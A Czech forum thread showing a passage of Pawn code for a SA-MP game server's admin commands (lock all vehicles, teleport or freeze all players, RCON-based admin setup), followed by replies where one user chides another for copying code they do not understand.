format(string, sizeof(string), "Administrátor %s zamkl všechny auta", PlayerName(playerid));

for(new v=1; v<MAX_VEHICLES; v++) for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) SetVehicleParamsForPlayer(v, i, 0, 1);

SendClientMessageToAll(COLOR_ADMIN, string);

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_getall(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else

{

new string[115];

format(string, sizeof(string), "Administrátor %s portl k sobě všechny hráče", PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

new Float:x, Float:y, Float:z;

GetPlayerPos(playerid, x, y, z);

 

for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid)

{

if(GetPlayerVehicleID(i) == 0)

{

SetPlayerPos(i, x+1, y, z);

SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid));

SetPlayerInterior(i, GetPlayerInterior(playerid));

}

else

{

SetVehiclePos(GetPlayerVehicleID(i), x+3, y, z);

SetPlayerVirtualWorld(i, GetPlayerVirtualWorld(playerid));

SetPlayerInterior(i, GetPlayerInterior(playerid));

SetVehicleVirtualWorld(GetPlayerVehicleID(i), GetPlayerVirtualWorld(playerid));

}

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_freezeall(playerid, params[])

{

#pragma unused params

if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");

else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");

else

{

new string[100];

format(string, sizeof(string), "Administrátor %s zmrazil všechny hráče", PlayerName(playerid));

SendClientMessageToAll(COLOR_ADMIN, string);

 

for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(i != playerid)

{

TogglePlayerControllable(i, 0);

}

}

return 1;

}

 

////////////////////////////////////////////////////////////////////////////////

 

dcmd_iamadmin(playerid, params[])

{

#pragma unused params

if(!IsPlayerAdmin(playerid)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Musíš být přihlášený přes Rcon");

else

{

pAdminLevel[playerid] = 3;

GameTextForPlayer(playerid, "~g~~h~Hotovo", 1000, 5);

 

new way[64];

format(way, 64, "AS/%s.cfg", PlayerName(playerid));

 

if(!fexist(way))

{

dini_Create(way);

 

new pass[16];

format(pass, 16, "%s", randompass(8));

 

dini_Set(way, "password", lyrhash(pass));

 

new str[128];

SendClientMessage(playerid, 0xFFFFFFFF, "Server ti vygeneroval náhodné heslo které budeš používat při každém přihlašování");

format(str, 128, "Tvoje heslo: {ff0000}%s{ffffff}, toto heslo si dobře zapamatuj, při jeho strátě už to nepůjde obnovit", pass);

SendClientMessage(playerid, 0xFFFFFFFF, str);

SendClientMessage(playerid, 0xFFFFFFFF, "Toto heslo si můžeš změnit příkazem {ffff70}/achangepass [ NOVÉ HESLO ]");

}

 

dini_IntSet(way, "adminlevel", 5);

}

return 1;

}

Edited by Lexter
Link to comment
Share on other sites

8 odpovědí na tuto otázku

Recommended Posts

  • 0

Potřebuju to nutně... :d

Hele kámo, každý v pawnu nějak musí začít to sice ano, ale né že skopíruješ někde celý kod, v kterým ani nevíš co jak funguje -_-. Začni s něčím menším a né hned s GM a serverem. Udělej si své první FS, můžeš ho sem dát na forum, a oni ti to ohodnotí. A pak můžeš jít dál a dál. Né, že budeš kopírovat SAKRA!

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...